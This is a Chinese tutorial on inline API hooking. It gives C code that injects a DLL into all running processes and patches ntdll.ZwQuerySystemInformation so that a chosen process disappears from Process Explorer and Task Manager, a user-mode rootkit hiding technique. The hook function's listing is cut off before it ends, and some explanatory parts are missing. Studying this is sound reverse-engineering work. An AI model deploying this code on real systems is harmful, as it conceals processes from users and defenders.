API钩取--API代码修改技术

API代码修改技术原理

​ 当库文件被加载到进程内存后, 在其目录映像中直接修改要钩取的API代码本身, 这就是API代码修改技术 (Code Patch). API代码修改技术将API的前5个字节修改为JMP XXXXXXXX指令来钩取API. 调用执行被钩取的API时, (修改后的)JMP XXXXXXXX指令就会被执行, 转而控制hooking函数, 从而实现API Hook.

​ 例如, 向Process Explorer进程 procexp.exe注入stealth.dll文件后钩取ntdll.ZwQuerySystemInformation(), ntdll.ZwQuerySystemInformation()API 是为了隐藏进程而需要钩取的API.具体的流程如下:

进程隐藏工作原理

​ 在用户模式下, 检测进程的相关API通常分为如下两类:

进程隐藏

实验环境为 Windows 7 (32位) 系统环境.

源代码分析

​ 这个实验的目的是隐藏notepad.exe进程, 并使钩取对象 procexp.exetaskmgr.exe进程中不显示隐藏的进程.该实验中, 各部分的源代码如下:

​ 1. HideProc.cpp: 该程序负责向所有进程注入\卸载指定的DLL文件, 其核心函数InjectALLProcess()代码如下:

BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
	DWORD                   dwPID = 0;
	HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32          pe;

	// 获取系统快照
	pe.dwSize = sizeof( PROCESSENTRY32 );
	hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );

	// 查找进程
	Process32First(hSnapShot, &pe);
	do
	{
		dwPID = pe.th32ProcessID;
        // 对于PID小于100的系统进程
        // 不执行DLL注入操作
		if( dwPID < 100 )
			continue;
        
        if( nMode == INJECTION_MODE )
		    InjectDll(dwPID, szDllPath);
        else
            EjectDll(dwPID, szDllPath);
	}
	while( Process32Next(hSnapShot, &pe) );

	CloseHandle(hSnapShot);
	return TRUE;
}

​ 2. 实际的API钩取由Stealth.dll文件实现. 首先是导出函数SetProcName():

// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
    TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()

#ifdef __cplusplus
	extern "C" {
#endif
		__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
		{
			_tcscpy_s(g_szProcName, szProcName);
		}
#ifdef __cplusplus
	}
#endif

​ 这部分代码创建名为”./SHARE”的共享内存节区, 然后创建g_szProcName缓冲区, 最后由导出函数SetProcName将要隐藏的进程名称保存到g_szProcName中.

​ 3. DLLMain():

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    char            szCurProc[MAX_PATH] = {0,};
    char            *p = NULL;

    // #1. 异常处理
    // 若当前进程为HideProc.exe, 则终止, 不进行钩取
    GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
    p = strrchr(szCurProc, '\\');
    if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
        return TRUE;

    switch( fdwReason )
    {
        // #2. API Hooking
        case DLL_PROCESS_ATTACH : 
        hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                     (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
        break;

        // #3. API Unhooking 
        case DLL_PROCESS_DETACH :
        unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, 
                       g_pOrgBytes);
        break;
    }

    return TRUE;
}

​ 4. hook_by_code()函数通过修改代码实现API钩取:

BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
    FARPROC pfnOrg;
    DWORD dwOldProtect, dwAddress;
    BYTE pBuf[5] = {0xE9, 0, };
    PBYTE pByte;

    // 获取要钩取API的地址
    pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    pByte = (PBYTE)pfnOrg;

    // 若被钩取, 返回FALSE
    if( pByte[0] == 0xE9 )
        return FALSE;

    // 向内存添加"写"属性
    VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

    // 备份原有代码(5字节)
    memcpy(pOrgBytes, pfnOrg, 5);

    // 计算JMP地址  (E9 XXXX)
    // => XXXX = pfnNew - pfnOrg - 5
    dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
    memcpy(&pBuf[1], &dwAddress, 4);

    // Hook: 修改5个字节 (JMP XXXXXXXX)
    memcpy(pfnOrg, pBuf, 5);

    // 恢复内存属性
    VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
    
    return TRUE;
}

​ 5. unhook_by_code()函数用于取消钩取的操作:

BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
    FARPROC pFunc;
    DWORD dwOldProtect;
    PBYTE pByte;

    // 获取API地址
    pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    pByte = (PBYTE)pFunc;

    // 若已脱钩, 则返回FLASE
    if( pByte[0] != 0xE9 )
        return FALSE;

    // 向内存添加"写"属性, 准备写入原5字节
    VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

    // 脱钩
    memcpy(pFunc, pOrgBytes, 5);

    // 恢复内存属性
    VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);

    return TRUE;
}

​ 6. NewZwQuerySystemInformation():

NTSTATUS WINAPI NewZwQuerySystemInformation(
                SYSTEM_INFORMATION_CLASS SystemInformationClass, 
                PVOID SystemInformation, 
                ULONG SystemInformationLength, 
                PULONG ReturnLength)
{
    NTSTATUS status;
    FARPROC pFunc;
    PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
    char szProcName[MAX_PATH] = {0,};
    
    // 开始前先"脱钩"
    unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);

    // 调用原始API
    pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), 
                           DEF_ZWQUERYSYSTEMINFORMATION);
    status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
              (SystemInformationClass, SystemInformation, 
              SystemInformationLength, ReturnLength);

    if( status != STATUS_SUCCESS )
        goto __NTQUERYSYSTEMINFORMATION_END;

    // 仅针对SystemProcessInformation类型操作
    if( SystemInformationClass == SystemProcessInformation )
    {
        // SYSTEM_PROCESS_INFORMATION 类型转换
        // pCur 是单向链表的头
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

        while(TRUE)
        {
            // 比较进程名称
            // g_szProcName 为要隐藏的进程名称
            // (在SetProcName()设置)
            if(pCur->Reserved2[1] != NULL)
            {
                if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
                {
                    // 从链表中删除隐藏进程的节点
                    if(pCur->NextEntryOffset == 0)
                        pPrev->NextEntryOffset = 0;
                    else
                        pPrev->NextEntryOffset += pCur->NextEntryOffset;
                }
                else		
                    pPrev = pCur;
            }

            if(pCur->NextEntryOffset == 0)
                break;

            // 链表的下一项
            pCur = (PSYSTEM_PROCESS_INFORMATION)
                    ((ULONG)pCur + pCur->NextEntryOffset);
        }
    }

​ 对NewZwQuerySystemInformation()函数的简要说明如下:

测试

​ 1. 编译链接上述源代码, 将stealth.dll文件注入当前运行的所有进程, 如下图所示:

1

​ 2. 使用Process Explorer查看所有成功注入stealth.dll文件的进程, 如下图:

2

​ 可以看到, 所有进程PID大于100的进程都被注入了stealth.dll文件, 并且procexp.exe中原来存在的notepad.exe也消失了.

因此, 通过API代码修改技术, 最终实现了指定进程的进程隐藏.